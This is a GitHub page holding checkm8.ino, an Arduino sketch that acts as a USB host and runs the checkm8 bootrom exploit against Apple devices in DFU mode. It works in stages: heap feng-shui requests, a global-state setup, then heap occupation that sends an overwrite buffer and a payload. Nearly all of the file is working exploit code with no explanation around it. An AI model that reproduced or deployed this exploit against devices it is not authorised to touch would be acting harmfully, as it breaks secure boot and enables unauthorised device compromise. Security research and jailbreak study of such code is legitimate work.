forked from DSecurity/checkm8-arduino
-
Notifications
You must be signed in to change notification settings - Fork 0
/
checkm8.ino
183 lines (170 loc) · 4.52 KB
/
checkm8.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
#include <Usb.h>
#include "constants.h"
USB Usb;
uint8_t addr = 1;
USB_DEVICE_DESCRIPTOR desc_buf;
uint8_t io_buf[0x100];
EpInfo *pep = NULL;
uint16_t nak_limit = 0;
uint8_t rcode;
uint8_t last_state, state;
uint8_t pktsize;
uint16_t sz;
const uint8_t * p;
uint16_t part_sz;
enum {
CHECKM8_INIT_RESET,
CHECKM8_HEAP_FENG_SHUI,
CHECKM8_SET_GLOBAL_STATE,
CHECKM8_HEAP_OCCUPATION,
CHECKM8_END
};
uint8_t checkm8_state = CHECKM8_INIT_RESET;
uint8_t send_out(uint8_t * io_buf, uint8_t pktsize)
{
Usb.bytesWr(rSNDFIFO, pktsize, io_buf);
Usb.regWr(rSNDBC, pktsize);
Usb.regWr(rHXFR, tokOUT);
while(!(Usb.regRd(rHIRQ) & bmHXFRDNIRQ));
Usb.regWr(rHIRQ, bmHXFRDNIRQ);
return (Usb.regRd(rHRSL) & 0x0f);
}
void setup() {
Serial.begin(115200);
Serial.println("checkm8 started");
if(Usb.Init() == -1)
Serial.println("usb init error");
delay(200);
}
void loop() {
Usb.Task();
state = Usb.getUsbTaskState();
if(state != last_state)
{
//Serial.print("usb state: "); Serial.println(state, HEX);
last_state = state;
}
if(state == USB_STATE_ERROR)
{
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
}
if(state == USB_STATE_RUNNING)
{
Usb.getDevDescr(addr, 0, 0x12, (uint8_t *) &desc_buf);
if(desc_buf.idVendor != 0x5ac || desc_buf.idProduct != 0x1227)
{
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
if(checkm8_state != CHECKM8_END)
{
Serial.print("Non Apple DFU found (vendorId: "); Serial.print(desc_buf.idVendor); Serial.print(", productId: "); Serial.print(desc_buf.idProduct); Serial.println(")");
delay(5000);
}
return;
}
switch(checkm8_state)
{
case CHECKM8_INIT_RESET:
for(int i = 0; i < 3; i++)
{
digitalWrite(6, HIGH);
delay(500);
digitalWrite(6, LOW);
delay(500);
}
checkm8_state = CHECKM8_HEAP_FENG_SHUI;
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
break;
case CHECKM8_HEAP_FENG_SHUI:
heap_feng_shui();
checkm8_state = CHECKM8_SET_GLOBAL_STATE;
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
break;
case CHECKM8_SET_GLOBAL_STATE:
set_global_state();
checkm8_state = CHECKM8_HEAP_OCCUPATION;
while(Usb.getUsbTaskState() != USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE) { Usb.Task(); }
break;
case CHECKM8_HEAP_OCCUPATION:
heap_occupation();
checkm8_state = CHECKM8_END;
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
break;
case CHECKM8_END:
digitalWrite(6, HIGH);
break;
}
}
}
void heap_feng_shui_req(uint8_t sz)
{
rcode = Usb.ctrlReq_SETUP(addr, 0, 0x80, 6, 4, 3, 0x40a, sz);
Usb.regWr(rHCTL, bmRCVTOG1);
rcode = Usb.dispatchPkt(tokIN, 0, 0);
}
void heap_feng_shui()
{
Serial.println("1. heap feng-shui");
heap_feng_shui_req(0xc0);
heap_feng_shui_req(0xc0);
for(int i = 0; i < 6; i++)
heap_feng_shui_req(0xc1);
}
void set_global_state()
{
Serial.println("2. set global state");
rcode = Usb.ctrlReq_SETUP(addr, 0, 0x21, 1, 0, 0, 0, 0x800);
rcode = Usb.dispatchPkt(tokOUTHS, 0, 0);
rcode = Usb.ctrlReq(addr, 0, 0x21, 4, 0, 0, 0, 0, 0, NULL, NULL);
}
void heap_occupation()
{
Serial.println("3. heap occupation");
heap_feng_shui_req(0xc1);
heap_feng_shui_req(0xc1);
heap_feng_shui_req(0xc1);
sz = sizeof(overwrite);
p = overwrite;
rcode = Usb.ctrlReq_SETUP(addr, 0, 0, 9, 0, 0, 0, sz);
Usb.regWr(rHCTL, bmSNDTOG0);
send_out(io_buf, 0);
while(sz)
{
pktsize = min(sz, 0x40);
for(int i = 0; i < pktsize; i++)
io_buf[i] = pgm_read_byte(&p[i]);
send_out(io_buf, pktsize);
if(rcode)
{
Serial.println("sending error");
checkm8_state = CHECKM8_END;
return;
}
sz -= pktsize;
p += pktsize;
}
sz = sizeof(payload);
p = payload;
while(sz)
{
part_sz = min(0x7ff, sz);
sz -= part_sz;
rcode = Usb.ctrlReq_SETUP(addr, 0, 0x21, 1, 0, 0, 0, part_sz);
Usb.regWr(rHCTL, bmSNDTOG0);
send_out(io_buf, 0);
while(part_sz) {
pktsize = min(part_sz, 0x40);
for(int i = 0; i < pktsize; i++)
io_buf[i] = pgm_read_byte(&p[i]);
send_out(io_buf, pktsize);
if(rcode)
{
Serial.println("sending error");
checkm8_state = CHECKM8_END;
return;
}
part_sz -= pktsize;
p += pktsize;
}
Serial.print("Payload loading... "); Serial.print(sizeof(payload) - sz); Serial.print("/"); Serial.println(sizeof(payload));
}
}